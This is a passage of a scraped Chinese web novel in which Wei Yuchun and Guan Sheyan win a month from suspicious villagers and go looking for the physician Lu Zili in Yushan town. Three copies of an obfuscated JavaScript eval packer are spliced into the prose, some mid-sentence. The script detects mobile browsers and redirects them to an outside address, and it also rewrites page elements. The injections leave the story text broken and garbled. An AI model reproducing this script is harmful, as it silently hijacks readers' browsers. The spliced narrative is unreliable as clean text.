“所以,要是这些事情弄清楚了,冯家大娘子的名声岂不也清净了?” 魏郁春微怨的眸子凝滞住,她听得出关阇彦的话意是想帮她,可到底还带着唯她可察的讥讽之气——毕竟若不是她蛮缠,他说不定不会陪她全然揽下这些事。 即便揽下,也至多是想要还一还所谓的救命之恩罢了。 当她快要就此信任他的时候,他却在方才突然“临时倒戈”,夺走她最后一根救命稻草,让她深陷囹圄,将她逼急到落泪。 可又当她万念俱灰之刻,他忽将那根稻草归还于她,像极了故意要逗弄逗弄小孩子一般,非要给人整哭了,才肯松手说句抱歉,简直是幼稚无比。 她非但难以原谅他的行为,反而还有一种气不打一处来的愤懑从她浑身炸开。可说到底,这种时刻,只有他,也只能是他才能拉自己一把。她不原谅却做不到真的不去感谢他,实在是矛盾。 他是在逗弄自己,觉得好玩么? 她真的越来越看不懂他了。 但她知道,自己是真的生气了。 此时另一边,村民们已经将关阇彦的话思考了好几遍,他们本就脑路简单,关阇彦忽悠人的本事又是一流。 这么久下来,村人们依旧挑不出错。 他们只好支支吾吾,不知如何是好,成功从颤腿鹌鹑变成了无头苍蝇。 关阇彦掐准时机说道:“大家给我们一个月的时间,我们去把凶手抓出来,把孩子们带回来,让真相天下大白。” 犹如在一片伸手不见五指的浓雾里射出一条光,给村民们引了一条明路。 这是解决此事的唯一办法——古溪村地处偏僻,除了本村村人外几乎没什么能帮得上忙的人,官府更是指望不上。 他已尽力扭转局面,让村民们放弃追究魏郁春,从而选择信任他们帮自己寻真相,这已是不易——他其实根本没有把握能将此事办好。 但他再难提出超出一个月的时间期限,否则村民必不同意,好不容易铺垫下来的局面很容易因此被推翻。做人实在不能太贪,力所能及便好了。 魏郁春对此毫无异议,她知道死里逃生的不易,如今的情势虽不友好,至少还给了她争取到了更多寻求逃生出口的时间。 村人们犹豫了,他们也有人的确动摇了,却碍于大形势不动,迟迟无人朗声赞同。丢了孩子的家庭更是只顾得上含冤哀嚎,盯着魏郁春的眼红得要滴血,他们更不可能支持。 不知僵持了多久,村中人才有人提出了条件:“一个月便一个月,但冯家夫妻还有冯家小丫头必须时时刻刻被我们监管着,若是你们逃走,我们必顾不上平时的情面!如果一月后你们办不到,我们必要你们偿命!” 此人用语激烈,却说得在理,村民们被调动情绪,很快就统一起来,对他的观点表示赞同。 魏郁春反而还长呼了一口气,村人们虽然话狠,但真的一个月内,恶事未定性前,他们还是会顾上一些情面的。 若是他们真的愿意多放精力来盯着冯家,冯家夫妇和妹妹的安危反而更能被保证,因为从今天开始,她和关阇彦留在冯家的时间只会越来越少了。 面对村人们的条件,魏郁春颔首而应,关阇彦也是带着她那份认可,发话承诺:“完全没有问题,一个月后我们见分晓。大家留下来几个人一起帮忙葬了病妻王氏,其余大伙就先散了吧。” 村民们闻言也没有再争吵什么,原先就负责带领众人来到王家的汉子们自告奋勇地留下,余下的村民就自动派出几个代表,将那些快要哭晕过去的妇人一起拖了回去。 魏郁春留在原地,皱着眉头,凝着神色,六神无主般不动弹。 关阇彦唤她:“你留在这儿也没什么用,不如先回去和你爹娘他们报个信,让他们不要担心。” 魏郁春深深抽回一口混着糜烂血气的空气,惹得胸腔百味翻涌,险些呕吐。她此举故意避着关阇彦,让人很难不感到怀疑。 关阇彦哑声半晌,反应到她方才是为了憋泪,才好不容易深吸了一口气,然后直肠子一般,果断出口讶问:“不是吧,你真的被我气哭了?” 他的声音可不小,好像完全没有意识到旁边还有人。 几个汉子闻言,齐齐抬首观望起魏郁春来,让本就忍不住情绪的她越发感到无地自容。 “你!”魏郁春愤懑地甩了他一记眼刀,瞪得关阇彦直接语塞。 然后,魏郁春就以迅雷不及掩耳之势甩身离去,脚步走动时带起的风声大剌剌地鼓着,关阇彦被飘在额前的碎发糊了一脸。 关阇彦:“嗯?” 魏郁春回到家中,便看到冯家夫妇二人居然眼巴巴地站在院子里的草棚下,不肯休息一会儿,天气本就湿热,他们互相搀扶着神情勉强,面色都是发红的,额上更是缀着一层细蒙蒙的油汗。不用猜也知道,他们定是一直从魏郁春离开后站到了现在。 夫妇二人如此做法,无疑是因为太过担心才紧张得心神难安,不仰头惦记着点魏郁春离开时的背影,他们实在是放心不下。 幸好,他们盼到了,魏郁春平平安安地回来了。 魏郁春脸色不好,夫妇二人左一句右一句地问她春儿长春儿短的,她快速交代了方才王家那边的事情,夫妇二人因王家遭难之事感到后怕时,也想到自家女儿面临的祸端,晴天霹雳下,他们急得泪崩。 冯母期期艾艾地哀怨着:“凶手怎么可能是我家春儿?!那凶手为何如此抓着春儿不放,还用这么恶毒的手段嫁祸给春儿!” “爹娘……没事的,我和关贤齐争取来了一些时间,我们会有办法的!只要这次事件解决了,村人就永远不会担惊受怕,我们家也不可能再被针对了。” 冯父几近绝望,他长这么大,四十年来,何时面临过如此险峻的人命关天之事?可就是这样一件他这个家中顶梁柱都扛不住的事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这意味着,魏郁春已经瞒了他们很久,要不是这次意外发生,她估摸还打算继续瞒报下去。 冯家夫妇心酸不已,只好讷讷梗塞:“是爹娘的不对……这下,我们真的都欠了那小兄弟一个大人情。等他回来,我们定好好感谢他。” 魏郁春摇摇头,表示此事先了罢不提。她想起来到现在巧儿还没有出来,于是询问道:“爹娘,巧儿呢?” 冯父叹息道:“巧儿今日收了惊,躲在屋子里不敢出来,怕再遇到来家里闹事的村民。” 魏郁春闻言放眼看去,目光穿过草棚下被光透过的长长阳廊,瞥见一双藏在屋内竹帘内眨巴眨巴的大眼睛,知道巧儿躲在那里偷看。她亲眼看到冯巧儿安好,才肯再松下一口气。 她交代道:“凶手针对我,也很可能迁怒于爹娘和巧儿你们,尤其是巧儿,最好骗弄,爹娘们一定要紧紧照看,一刻都不能叫她离开你们的眼底。这一个月内,村民们也会盯着我们,凶手想要来犯也不会选在白日骚动,所以爹娘除了好好照看妹妹外,其他的都不必担心。” 她虽知道很多黑衣人都已被她和关阇彦处理掉了,但他们都不保证是不是还有其他黑衣人躲在外面,一直没有出来。 她也没有和爹娘透露黑衣人的事情,自然而然,他们对巧儿的目的心,她也不可能说出来。所以,她只好暂时编出个理由来,让爹娘对巧儿多加上心。 因为她说话的语气极其郑重其辞,事情说得周全无误,冯家爹娘隐隐感觉到,她下一刻便要离开他们,去很远的地方。 果不其然,魏郁春前一句的话音方弱,她下一句就接了上来:“等关贤齐回来,我用好朝食,便会带他去集市找郎中疗病,他之前在我们家养伤时还落了不少根疾,普通村人看不明白,何况现在这个关头也没人愿意给我们家的人看病。” 25. 睚眦必报 冯家今日上上下下都没什么心情捣腾饭食,尤其是冯家夫妇两人,听了女儿说待会儿又要离家,心里就跟被烈油浇过了一样,滋滋拉拉的,灼痛不已。 魏郁春为不让爹娘妹妹为自己再焦灼不安,她在家中装作表面风平浪静的模样,安安静静地用刚从院中菜地里采来的豆叶,投至锅中勉强煮了一锅稀藿羹。 藿羹刚出锅没多久,还冒着寡淡无味的热烟时,关阇彦刚好收拾好王家的烂摊子,回了冯家。 他办事所消至多两柱香的时间,所以天色尚早。 巧儿也被唤出来吃朝食了。 冯家夫妇面色苍白地瘫坐在前院子草棚上,腿脚不便下,魏郁春不肯他们多动。他们只好等着女儿把舀好的羹汤端过来。 夫妇二人看到关阇彦的身影时,面色才稍有好转,勉强扯了个笑容问他:“小兄弟啊,王家那边的事情怎么样了?” 关阇彦肚子空空,一大早起来动来走去,方才在王家不仅目睹腥气之景,还要费力挖坑埋尸,所以神色也很差。 他亦是勉强回应冯家夫妇:“病妻王氏已经烧完埋葬好了,乡亲们择日会为其办场白事。” 南禺虽被中晋接手管理许久,但处处贫穷无秩序,村子的规模也远比中晋中原之地的小很多,分布又极其零散,村人愚昧无知,所以连负责管理村中杂事物的里正都没有一个。 还好大家心性淳朴,村中遇事,只要不涉及太过分的利益,家家户户都会有个照样,所以这次王家遭难,村人们都会给予帮助——其中不外乎一些钱财上的帮助。 当然,此事同游荡于各个村子野沟的地痞流氓,抑或是野孩子们都没有关系。 而至于再抠门的村人,也会为了顾及面子,多少会给点小钱资助。 冯家夫妇一听此话,就知道这是快用钱的地方,不假思索地问起关阇彦来:“村人们打算送多少银钱去?” 关阇彦摇摇头,说道:“村人们心性不定,此事还未有人商议过,晚辈不知。” 冯父毕竟也是一家之长,很快就主动做出了决定:“虽然我们家春儿没有干过那些脏事,但咱家暂时也和这些事情脱不开干系。乡亲们遭难,一时冲动误会了我们,这才无人愿意偏袒我们。这种关头下来,咱家能多给些银钱,就多给些吧。” 冯母听罢,刚哭过的泪眼瞬间又弥漫起一层水雾,她期期艾艾道:“孩子他爹,如果这样,今年夏赋的银钱我们该如何负担?” 是啊,如今已经快到六月了,距离夏赋还有不到两个月的时间。 冯家本就家境困难,冯家夫妇落了残疾后,本靠着魏郁春略有起色,谁知道又摊上今日这么个雪上添霜的怪事?! 关阇彦皱紧眉头,他虽深知当今圣上宽农限商,从而导致国家以农收为主要税收来源。 但中晋早已实施鼓励生产、轻徭薄赋的政策,像冯家这般困顿的人家早可上报家中情况,免除黄册以及鱼鳞图册带来的各种税收方面的限制。 冯家何须再过得这般无奈? 另外,即便冯家没有几遭灾难,也依旧要任由税吏滥收钱财。不外乎冯家,整个古溪村,甚至整个南禺都是如此。这日子真不是人过的! 关阇彦这人虽然平时看起来没心没肺,嘴臭脸臭的。但他很重情谊,受了冯家的恩,哪怕还人情还到整个南禺头上,显得太爱爱管闲事,他也毫不觉得麻烦。 当然,若是有人欠了他的人情,抑或是挑衅了他的底线,他也会一个不落地狠狠记在心里,绝对会想尽办法把仇报得一干二净,是个睚眦必报的性子。 于是,他心中忿忿不平的正义心再度蠢蠢欲动起来,心中盘算,若是以后复职,必回京上报南禺民事,将蜗居此地的害虫一个不落地都弹劾个尽! 但这些也得等他查清被刺杀的真相,报完仇之后再说。 眼下,在为自己报仇前,他甚至还得先帮魏郁春善后了古溪村的怪事。 他腹中至今还徘徊着那股糜烂腐臭的味道,又饿又没食欲,所以暂时先将心事搁置。 魏郁春已经把一大盆从大锅中舀来的羹汤端上了桌,很奇异的是,分明是卖相极差、看着还像是猪食的饭食,却引得关阇彦浑身一阵清爽。 因为藿羹太过清淡,反而显得豆叶有种不加修饰的清新味儿,刚好中和了关阇彦气管和胃里的重腥味儿。在他鼻尖,这些就连当地村民都看不上的稀汤,闻起来都像是早上挂在树枝绿叶上的晨露,竟有些欲罢不能。 他咽了咽口水,奈何秉性傲娇,不肯拉下面子主动去要。 于是,他就乜着眼,装作毫不在意的模样,等着魏郁春发话。 谁知道这女子闹的什么脾气还没消解,她给冯家夫妇、妹妹巧儿还有她自己都舀了一石碗,然后就爽快撂下勺子不动了。最后闹得一桌人都吃起了饭,唯有关阇彦面前的石碗空空如也。 关阇彦不愉快地冷哼了一声,表明他一点都不稀罕她的施舍,然后自己动手丰衣足食了去。 他本就是青年男儿身,所需补给远远大于冯家其他老小妇孺。加之他又劳累颇久,吃得比平常更多了。一大锅藿羹几乎有一半都落入了他的口腹。 他觉得此物真是稀奇,好喝得很——他这人终究是富贵世家出身的大少爷,虽然常年在外驻守打仗什么的肯跟着自家爹吃苦,但一到家中该享受的时候,嘴巴比谁都要刁。 这居然是他长这么大以来第一次喝上这么对他胃口的羹汤。 他觉得稀奇,冯家诸人看到他的反应时就更觉得稀奇了。 关阇彦原本凌厉而深不见底的眼睛,愣是喝到亮起闪烁的光彩,有些兴奋地问起诸人:“这是什么汤,如此稀奇可贵?” 冯巧儿就差把三个问好写在脸上了。这藿羹一到夏天就能喝到反胃,还稀得很,有什么可贵特别的?她丧气地嘀嘀咕咕道:“不就是混了几根破烂豆叶的米糊糊吗?都没什么味儿,不好喝!” 冯家夫妇闻言一人拍了把小丫头的脑袋:“有的吃就不错了,还刁嘴!” 看着关阇彦一脸不可置信,自己喜欢的事物如此廉价不堪,魏郁春不知怎么的就被点了笑穴了般,分明冷酷哀伤的她,莫名其妙噗嗤低声而笑:“噗呵呵。” 好似是故意借此报仇一样,所以她的笑嘲意十足。 听到声音的关阇彦不耐烦地皮笑肉不笑似的扯了把嘴皮,结果眼睛一抬上去看魏郁春的时候,发现这女子早就收敛了笑意,还是那副沉沉不语的冷相——当真是变脸比翻书还快。 魏郁春吃完饭后,招呼冯巧儿一起把碗筷收拾好。她当然也没忘了关阇彦这么个大劳力。 昨晚为了给他熬草药,她早就把摆在灶屋外的一桶凉井水用完了,没水洗碗,她直接指挥着关阇彦给她重新打了一桶回来。 此时,冯家爹娘还在院中,关阇彦有怨言却不可言说出去,他有理由怀疑这是魏郁春故意给他使的招。 家中事物都收拾妥当后,魏郁春才放心和冯家夫妇道别:“爹娘,我身上还有一些积蓄,便不向你们讨要了。你们好好照顾巧儿,我很快就会回来。” 于是,冯家夫妇又恋恋不舍地趴在门上,看着魏郁春和关阇彦背着包裹出门的背影,直到身影消没在茫茫山峦倒映的绿影许久后,他们二人才乖乖回了屋子,任由村人监管照看。 魏郁春记得自己刚进入冯迎春这具身体还昏迷的时候,是小村集市的一位郎中赶来家中给她瞧的病,小村集市虽然是距离古溪村最近的住着郎中的地方,但到底还是要费不少脚程从间来来往往。 村集市很小,那里也就只有这一个郎中可以请。当时,冯家夫妇为了把郎中从千里迢迢的村集市上请来,不知多花了多少银钱。 先前关阇彦这样个身强体壮的青年男人去寻这个集市上老书生的仇时,都至少跋涉了至少两个多时辰。更遑论老骨头一把的郎中了呢? 魏郁春和关阇彦现在都好胳膊好腿的,手里头钱握得紧,自然不肯奢侈地直接把郎中请来给人看病。 所以他们两个人一人一个包裹轻装上阵,慢慢走了大半天,又是到了日上三竿才到集市上,一路打听着寻到了那位郎中的家门前。 关阇彦表面上看起来没什么,但内伤积淤良久,徒步走了两个时辰的山路后,脸色简直比鬼还青白,阳光普照下,那股浓郁的仿佛死人才有的阴气,居然还能阴魂不散地集结在他身上。 魏郁春这么个第一次亲身体会这段山路苦楚的姑娘家,虽因太累而显得憔悴颓废,但看起来还是比关阇彦阳气不少。 所以,老郎中闻了叩门声,刚敞开一条门缝的时候,就差点被关阇彦吓得魂飞魄散,幸好魏郁春动作快速,挡在了老郎中面前,才勉强了稳住了老郎中差点飙升的颅内血压。 “这么个吊死鬼……还有救么?” 老郎中眨巴眨巴藏在长长白须下的眯眯眼,望着关阇彦的绿脸,心中骇然而叹。 他算是提前有了个心理准备,自然在问诊前就自顾自给关阇彦下了定论。于是,他一坐下,装模作样摸了把关阇彦的脉相,张口就是一句:“这是有隐疾啊!” 关阇彦没精打采的身子骨,突然绷直地如同竖摆起来的长板凳,发绿的脸色突然血色喷涌,鼻翼嗡颤,鼻息喷热,俨如一头着了火的斗牛。 魏郁春非但不同情,还毫不掩饰地哈哈大笑起来了,和她平时那副对什么都漠不关心的模样相比,简直判若两人。 老郎中记性不大好,盯着哈哈大笑的魏郁春一晌,才记起来这姑娘是之前古溪村“起死回生”的怪娘子,可惜他似乎还是没想起来这怪娘子原先还是个傻子。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447368|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他老人家的眼神哆哆嗦嗦地在关阇彦和魏郁春两人直接逡巡了一会儿,然后感悟道:“原来是渡了女人过多的阴气,冯家小娘子啊,你刚从鬼门关走过来,身子骨阴得很,哪能这么快就寻男人的阳气滋补?!” 魏郁春的笑容刹那间僵在了原地。 怪不得这老郎中说起关阇彦有隐疾一事时,在她一个未出阁的姑娘前毫不避讳。原来不是老糊涂了闹笑话,而是他直接自作主张地把她和关阇彦当作了夫妻之流。 况且这男子还有未婚之妻……真是岂有此理! 魏郁春怎容许这等荒唐事发生在她头上,所以当场羞得满脸涨红,简直寻不到钻身掩羞的地洞! 方才脸色还红绿相间的关阇彦突然大笑起来,看向魏郁春的表情满是毫不遮掩的嘲笑和调侃。 魏郁春恨不得当场就把这浪荡之徒撕成两半,奈何面子丢不下,只好拿眼神去发力——“原来你这厮竟是这般不知廉耻之徒!” 关阇彦似乎寻到了作乐之事,完全不受她恼羞成怒的谩骂的影响,坚毅地用眼神回过去——“哦,那又如何?!” 两人你来我去,争霸不休,在老郎中眼里居然变成了和和睦睦的眉目传情,给老人家逗得合不拢嘴。时不时他又想起来这“夫妇”二人中的男子身患不治隐疾时,又暗暗往魏郁春身上投去一个同情的眼神。 最后,关魏二人休战时分,才决定一致对外。 “这无德老头儿医术不精还敢出来害人?” 关阇彦冷笑不止,完全把老郎中对他下的诊断,当作了对他的人身羞辱,一点面子都不给地踏出门槛。 他这睚眦必报的性子着实烈,二话不说就准备砸了老郎中的招牌,结果被一脸肃正和无奈的魏郁春拦下。看得出她也不是很情愿就此放过老郎中给她下的耻辱定义,但她还是不得不劝道:“老郎中年纪大了,犯些痴傻症也是正常,未必是真想坑骗世人。” “呵呵,你倒是爱为别人考虑?” 关阇彦成熟稳重的时刻占多数,但他实在不喜尊严被践踏。当然他在乎的事情并不止这些。他秉性直率,只管这人有没有害己害人,绝不会去可怜这人有没有什么难言之隐。 所谓可怜之人必有可恨之处,就是如此。 但很显然,这老郎中继续开张下去,少不得一批村人深受其害。 当他决定动手解决这种事情的时候,从来都是有多心狠就多心狠,有多果断就有多果断。 魏郁春垂眸叹了一口气,拦住他:“你也得从自己身上看看问题。如今看来,你这内伤藏得深,他医术堪堪,即便不痴傻,也未必能给你看出个结果。” “这老郎中自从上次看我病时就有些脑子不清楚,显然痴傻过一阵子了。他要是真的害人不浅,怎么每日还有不少村人继续寻他看病?寻常村人多是发发热病寒症的,他也都能应付一二。” 关阇彦闻言一怔,发现她这话说得确实有几分在理。 魏郁春单挑了一只眉头,好似在笑话他的冲动:“不过是辱你两句无心之言,你倒不必这么记仇吧?” “我这就去找老郎中说你不看病了,少给他点钱,这事也可解决。你闹大了,我们反而不好处理,”魏郁春拔腿返回,很快就把老郎中那边的事情解决好了,然后又踱回来跟关阇彦说上一句,“你这内伤不治不行,我们打听打听有没有更好的郎中可以去瞧。” 关阇彦堆积在心间的怒火平息了不少,他追上魏郁春的步子,意识到她和自己解决问题截然相反的态度,一时觉得感叹一时又觉得好奇—— 魏郁春思绪如此清晰,即便被触碰了底线,她亦不会为其动摇太多……这么久的相处下来,她这一点几乎没有改变过,唯有昨晚生命遭到威胁时破功一二…… 她真的只是屈居于南禺一个小小村落的女娘么?即便是中晋与她同龄的杰出女子,都没有一个比得上她这般特别。 还有,她当真是那个因为怕死而该被他蔑视的这种人吗?当真是奇怪,他先前明明找遍了她的缺点,嗤笑奚落过她,深知自己最痛恨的就是这种为求生路不择手段之人。 可为什么,他还是没办法打心底去讨厌她? 单纯只是初印象里觉得,她和自己对待事物时疏离淡漠的态度有些一样吗? 但刚刚也是确认过了,她和自己对待事情的方式和态度上几乎是截然相反的。 那这么说来,他依旧没办法讨厌她,这是直觉上的指引么?难不成她就不是这种人,他看到的她不过是冰山一角罢了? 短短一瞬间,关阇彦这么个极少数去揣测他人动机的人,破天荒且忍不住地将这些围绕魏郁春的问题都想了一遍。她真是有太多东西,想让他去探索下去了,真是离奇,他有时候故意去逗怒她,好似也是这种探索欲过强的心态在作祟吧。 26. 禺山大夫 关阇彦心间红潮过后,面色再度恢复成青气隐隐之样,日过午时,他和魏郁春还没进过一粒午米,幸好他早上吃得多,不然早就遭不住了。当然,烦恼并非没有,除了解手太过频繁外其他一切都好说。 魏郁春饿得胃中反酸,问了一路摊贩走卒,才好不容易打听到一个既厉害又住得不是特别远的大夫。沿着古溪村行进至小村集市的方向继续走,就会来到一座叫做禺山镇的镇子,相比于小村集市,禺山镇的民生百态则更加活跃多样。 说起来,小村集市正是受禺山镇的经济影响,才得以延生这么多年。除了小村集市外,还有不少大大小小靠着禺山镇养活大的集市存在着。 这种集市一般都是来自各个不同村落的村民自发组建而成的,后续又有一些被引来交易的外村人和商贩入驻其中,慢慢就演变成了南禺百姓集聚交易的集市。 关阇彦身子虚弱,魏郁春饿得差点一对白眼上翻,就此晕过去。两人没有办法,索性蹲在小村集市外等日常来此送货的犊车,一人两只铜板钱买通了路过带着一袋自家刚收的绿豆运往禺山镇的大爷。 大爷和魏郁春蹲进了简陋的木车上,关阇彦没地去只好把人架在了牛身上,一摇一摆地任由大爷指挥掌绳方向。 犊车的木板吱吱呀呀地互相挤压摩擦着,正值壮年的大黄牛哞哞眸地呼唤着,山脚铺着层层草野,冒着几朵不知名的野花,无风的路上,它们一动也不动地石化在草间。 路上几乎没什么人,但越是往禺山镇的方向奔去,行人的数量便愈来愈多。 平芜尽处是春山,行人更在春山外。茶山相间的小路上被一点点碾出清晰的车辙印记。 山脚下被阳光燎过的草地好似散着灰扑扑的尘土味儿,久吸后憋得胸腹闷痛,天气变得越来越闷热,暴露在光下的关阇彦肤色都像被晒红了一个度,让他又变回了“红绿相间”的模样。 到了禺山镇时,天色已经微黯,东南方飘来一阵阵不明浓云,暗色涂抹半边天海。同样来自于东南方的冷潮气也突然卷进来,好似直接从镇子上撕开了一条通道,把笼罩在周遭的热闷气赶跑老远,显得有些格格不入。 一些雨水已经伴着潮湿的冷风斜斜打下来,把烘热的尘土气全部洇湿了去。 长夏早至,梅雨季里这种说来就来的雨很是常见,除了闷热外几乎没什么特别的预兆。 一阵风刮来,很快就能能飘雨,一飘就是一天或是一夜,运气不好的时候,连续下下停停个三四天都是情有可原的事情。 魏郁春和关阇彦告别拉木犊车的大爷,学着镇子上推走摊车布幡的贩夫们,扯着袖子挡在面上,往有屋檐的地方落脚去。 雨水斜打,像是一大片由水组成的巨大天幕朝整个人身上罩,雨水如同针角,又密又细,要是不拿东西挡着点脸,还真是一点路都看不清了。 魏郁春焦急地算了算现在的时辰,少说也要未时二三刻了,这梅雨一刮就不知道要挂到什么时候,事情还没办好,她还要走这么远的路回去,时间根本就不够!即便她想要搭车回村,想必给关阇彦病看完病后,就根本负担不起这笔路费了。 她胆大地从指缝间去望外面的景色,雨水很密,但不过都是虚晃招数,它下得并不算大,只是有要变大的趋势……她灵机一动,想着自己左右都被淋湿了,不如趁着雨还小的时候找到大夫,一边瞧病一边等雨停岂不好? 于是,她二话不说掣肘出去,随意拦下身边几个过路人,三个大娘脾气火热,忙着躲雨去却被人挡住去路,岂不脑热? 正当大娘们刚要骂街的时候,眼神眇到了魏郁春身侧长身玉立的俊俏男子,目光从迟钝变成了迷离,真是艳色迷人眼。 魏郁春视其为关阇彦出卖色相的报酬,故意给关阇彦使了个眼色。 关阇彦知晓其意,不由扯了扯嘴角,心不甘情不愿地问起三个被他迷得丢了魂儿的大娘:“夫人们可知这禺山镇的陆大夫,陆子礼住在何处?” 没错,陆子礼这位中年大夫,就是魏郁春和他苦苦追来寻觅的人物。 此人善于识草制药,因此他不仅喜欢用自己上山采摘的草药对症下药,还把自己的病所当作药房一样使,常常给人抓滋补身子的药剂。 这大夫最有名的地方,还得是他在任何事情上都要亲力亲为,只要有人寻他看病,他先从望闻问切做起,严重者再开刀缝补,然后为病人配比药草,配比完毕后不似其他大夫一样直接叫病人领回家去自己熬制汤药,而是根据病人的需要亲手制作药汤,看着病人服下药汤后的反应,他才肯放心停诊。 陆子礼年纪方过三十,就如此通药理病理之事,对待病人还耐心无比,所以名气极大,整个禺山镇无人不知这么一位神医的存在。离了禺山镇,问起方圆百里的好郎中,陆子礼神医的名号也必须是首当其冲的存在。 陆子礼也确实是魏郁春目前能寻到的靠地最近的神医,她在打听这位陆大夫的时候,听过了很多关于他的传闻。 她心里底气因此足了很多,夸张地说,她甚至觉得若是连陆大夫都医治不好关阇彦的内伤,怕得千里驱车去中晋请,请皇宫里的御医才管用呢。 三位大娘也是为老不尊的典型范例,见了年轻男人主动和她们搭话,脸上居然还泛起了羞赧的红潮,哪里还想得起急着躲雨的要事! 她们忙不迭地接道:“陆子礼啊!陆神医嘛!晓得晓得,就沿着你们面前不远处的这只大花门对应的路口直走,差不多过去三个巷子口,左拐下去,走过几个客栈和粮米铺子,会看到一个茅草屋搭着顶子的院落,院子其实还挺宽阔,就是简陋了点。” 大娘挤挤攘攘地说着话,深怕自己没在关阇彦面前显露风姿:“那个就是陆大夫的家,也是他看诊的病所!” “害,不过最近陆大夫好像变得怪怪的啊,哥儿啊你是急着去找陆大夫看病么?” 其中一个大娘眉头骤压下去,好似想到了什么东西,满脸都是不解和顾虑。 魏郁春一下子就被大娘的话攥住了注意力,生怕自己好不容易寻来的神医又因为什么意外看不成关阇彦的内伤,如此岂不是白忙活一场?! 她攒眉蹙额,声线紧迫:“陆大夫是出了什么事情么?” 魏郁春要是不喊出这一嗓子,三位大娘几乎就要忘了眼前还有她这么个存在。她们终于察觉到她和关阇彦不浅的关系,还发现她这小娘子生得不凡,不满的嫉妒情绪一下子就涌了上来。 三位大娘的态度一落千丈:“你们外地来的吧?” 其中另一个大娘面目精明,想来记性也是极佳,一副市井中在钻牛角刁钻人上颇有建树的模样。 她开腔快速说道:“呵呵呵,陆大夫的丫头好像刚过十岁生辰,每年一到这段时间,陆大夫都是这般精神不济。估摸着又要一两个月不出门诊病,所以啊,要去寻他问诊,不管是多大的架子,都得跟你们这群外乡人一样,千里跋涉过来求神医赏赏面子。” 魏郁春和关阇彦听了,齐齐面色一凝。 谁家给孩子过生辰不是一副欢天喜地的样子?这陆大夫倒是和别人不同,自家女儿长尾巴的年纪,他反而阴郁不欢。莫非是不喜女丫头? 魏郁春眸色微暗,不解道:“陆大夫是不喜欢自己的女儿么?” 这世道,就连达官贵人都将重男轻女这条规矩当作了铁令,更遑论这观念落后的南禺民间百姓呢? 魏郁春想起前世,父亲魏仲傅并非受铁令固守观念之人,朔州府鼎鼎大名的魏家书院里,女子亦可读书识字,最多不可同男子一起念同样的书、亦不可坐在一处习字辨论罢了。 父亲魏仲傅常常自诩他不是和常人一般,蔑视女子无用的凡夫俗子,总说自己明事理通人性,那一派人人平等的作风,好似被他严丝合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447369|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缝地拓印到了自己身上。 魏家书院在朔州府的名气多半靠此而成,渐渐的,魏家书院也就变成了全朔州府的名门女眷最为向往的学府——来此地可与同样出身名门贵族的少年儿郎相识结缘,也可饱读诗书拓宽视野,何乐而不为呢? 即便魏家老爷魏仲傅常常遭到不少老迂腐们的抨击,整个朔州府何人敢真的动起手脚得罪他?得罪了他,和得罪了书院名门女眷的家族有何区别? 所以魏仲傅也是个奇人,分明只有个当朝从五品的侍读学士的闲职,在朔州府的地界,哪怕是二品三品的官员,抑或是家财万贯的皇商贵胄,都无人不敬仰这么个腹有千卷、思想高前的老先生。 但说起来可笑,外人不知魏仲傅的真面目,身为他女儿的魏郁春,难道不清楚他那些混账事么? 魏仲傅如此改革魏家书院的初心,是因为他很爱护自己的嫡女,也就是她的嫡姐魏澜清。 可他爱护魏澜清的原由,却通通源于魏家与岭阳关氏的一纸过了期候的皇亲,他不过从五品闲职之官,在朔州府德高望重,去了京城,还不是在朝中官卑言微? 他魏家胆敢与本就是军府世家又代出都督之才的关氏结亲,绝对算得上是攀附上的攀附了——朝中大臣要不是顾及着皇帝和关氏老祖母的面子,准是要因为这场荒唐的亲事,给皇帝抬上百八十本弹劾折子。 所以,魏仲傅之所以爱女,不过是妄想着有朝一日培养好女儿,再将其嫁入关家,好让他享受享受飞黄腾达的滋味罢了。所谓的明事理、通人性,呵呵,怕都是魏仲傅骗骗别人、哄哄自己的笑话罢了。要不然,他为何偏偏只让魏澜清入书院精进学业? 而她魏郁春,魏仲傅唯二的女儿之一,魏府的庶女,却被千般打压、百般蔑视,以至于后来外人提及此事,说的都是这魏家的小女儿天生痴呆愚钝,除了一副好皮囊外什么都不剩了。因此,她才不配魏老爷亲自教诲,魏老爷怕她进了书院,多半是怕她砸了魏家书院的招牌呢! 前世的记忆上涌,变成了杀不尽灭不完的蠹虫,而她的心就像是被蠹虫们侵蚀得千疮百孔的烂木,永远没办法停止恐惧.....也永远都没办法忽视和遗忘这些溃烂的伤口。 那些吭洞……刻骨铭心,她的一辈子都得背负着这些恶心而肮脏的东西活着。 魏郁春的目光越来暗,好像要堕入地狱去了,呼吸也变得越来越慢,好似就要消失了。 所以,她听到陆子礼的事情后,第一反应就是,这个陆子礼也是和她父亲一般的存在。 三位大娘莫名其妙地相视一眼,然后冷嗤一声,好似在嘲笑魏郁春是个天大的白痴一般:“陆大夫爱女心切,估摸着比他神医的名头还响亮呢!你们知道他是神医,却不知道这个?!” 